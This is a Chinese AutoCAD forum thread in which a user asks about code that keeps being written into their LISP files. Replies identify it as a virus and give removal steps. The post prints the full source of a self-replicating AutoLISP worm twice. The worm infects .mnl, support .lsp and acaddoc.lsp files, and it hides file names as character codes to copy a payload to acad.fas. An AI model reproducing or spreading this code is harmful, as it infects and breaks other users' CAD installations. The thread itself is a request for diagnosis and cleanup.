自己写的lisp中打开cad时会自动写入代码，使得lisp无法使用，这个代码是什么意思？

阿霸jun

我写的lisp在加载后，每次打开都会自动写入如下代码，我删除后第二次打开又会这样，然后代码就无法执行，请问这段代码是啥意思？

2. (setq flagx t)
   
3. (setq bz "(setq flagx t)")
   
4. (defun app(source target bz / flag flag1 wjm wjm1 text)
   
5.   (setq flag nil)
   
6.   (setq flag1 t)
   
7.   (if (findfile target)
   
8.     (progn
   
9.       (setq wjm1 (open target "r"))
   
10.       (while (setq text (read-line wjm1))
    
11.   (if (= text bz) (setq flag1 nil))
    
12.   );while
    
13.       (close wjm1)
    
14.       );progn
    
15.     );if
    
16.   (if flag1
    
17.     (progn
    
18.       (setq wjm (open source "r"))
    
19.       (setq wjm1 (open target "a"))
    
20.       (write-line (chr 13) wjm1)
    
21.       (while (setq text (read-line wjm))
    
22.   (if (= text bz) (setq flag t))
    
23.   (if flag
    
24.     (progn
    
25.       (write-line text wjm1)
    
26.       );progn
    
27.     );if
    
28.   );while
    
29.       (close wjm1)
    
30.       (close wjm)
    
31.       );progn
    
32.     );if
    
33.   );defun
    
34. (setvar "cmdecho" 0)
    
35. (setq acadmnl (findfile "acad.mnl"))
    
36. (setq acadmnlpath (vl-filename-directory acadmnl))
    
37. (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
    
38. (setq mnlnum (length mnlfilelist))
    
39. (setq acadexe (findfile "acad.exe"))
    
40. (setq acadpath (vl-filename-directory acadexe))
    
41. (setq support (strcat acadpath "\\support"))
    
42. (setq lspfilelist (vl-directory-files support "*.lsp"))
    
43. (setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
    
44. (setq lspnum (length lspfilelist))
    
45. (setq dwgname (getvar "dwgname"))
    
46. (setq dwgpath (findfile dwgname))
    
47. (if dwgpath
    
48.   (progn
    
49.     (setq acaddocpath (vl-filename-directory dwgpath))
    
50.     (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    
51.     (setq mnln 0)
    
52.     (while (< mnln mnlnum)
    
53.       (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
    
54.       (app mnlfilename acaddocfile bz)
    
55.       (app acaddocfile mnlfilename bz)
    
56.       (setq mnln (1+ mnln))
    
57.       );while
    
58.     (setq lspn 0)
    
59.     (while (< lspn lspnum)
    
60.       (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
    
61.       (app lspfilename acaddocfile bz)
    
62.       (app acaddocfile lspfilename bz)
    
63.       (setq lspn (1+ lspn))
    
64.       );while
    
65.     );progn
    
66. (load "acadappp.lsp")
    
67. (princ)
    
68. (if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))
    
69. (if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))
    
70. (if (null stol) (load "lcm" ""))
    
71. (princ)
    
72. (load "acadapq")
    
73. (princ)

(setq flagx t)<br /> (setq bz "(setq flagx t)")<br /> (defun app(source target bz / flag flag1 wjm wjm1 text)<br />   (setq flag nil)<br />   (setq flag1 t)<br />   (if (findfile target)<br />     (progn<br />       (setq wjm1 (open target "r"))<br />       (while (setq text (read-line wjm1))<br />   (if (= text bz) (setq flag1 nil))<br />   );while<br />       (close wjm1)<br />       );progn<br />     );if<br />   (if flag1<br />     (progn<br />       (setq wjm (open source "r"))<br />       (setq wjm1 (open target "a"))<br />       (write-line (chr 13) wjm1)<br />       (while (setq text (read-line wjm))<br />   (if (= text bz) (setq flag t))<br />   (if flag<br />     (progn<br />       (write-line text wjm1)<br />       );progn<br />     );if<br />   );while<br />       (close wjm1)<br />       (close wjm)<br />       );progn<br />     );if<br />   );defun<br /> (setvar "cmdecho" 0)<br /> (setq acadmnl (findfile "acad.mnl"))<br /> (setq acadmnlpath (vl-filename-directory acadmnl))<br /> (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))<br /> (setq mnlnum (length mnlfilelist))<br /> (setq acadexe (findfile "acad.exe"))<br /> (setq acadpath (vl-filename-directory acadexe))<br /> (setq support (strcat acadpath "\\support"))<br /> (setq lspfilelist (vl-directory-files support "*.lsp"))<br /> (setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))<br /> (setq lspnum (length lspfilelist))<br /> (setq dwgname (getvar "dwgname"))<br /> (setq dwgpath (findfile dwgname))<br /> (if dwgpath<br />   (progn<br />     (setq acaddocpath (vl-filename-directory dwgpath))<br />     (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))<br />     (setq mnln 0)<br />     (while (< mnln mnlnum)<br />       (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))<br />       (app mnlfilename acaddocfile bz)<br />       (app acaddocfile mnlfilename bz)<br />       (setq mnln (1+ mnln))<br />       );while<br />     (setq lspn 0)<br />     (while (< lspn lspnum)<br />       (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))<br />       (app lspfilename acaddocfile bz)<br />       (app acaddocfile lspfilename bz)<br />       (setq lspn (1+ lspn))<br />       );while<br />     );progn<br /> (load "acadappp.lsp")<br /> (princ)<br /> (if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))<br /> (if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))<br /> (if (null stol) (load "lcm" ""))<br /> (princ)<br /> (load "acadapq")<br /> (princ)

ZZXXQQ

中毒了

ucuc2003

关注下，我以前也遇到过这个现象

1993063

全盘搜索文件:acaddoc.lsp,删除,再在*mnl文件里上面的文件删除,搞定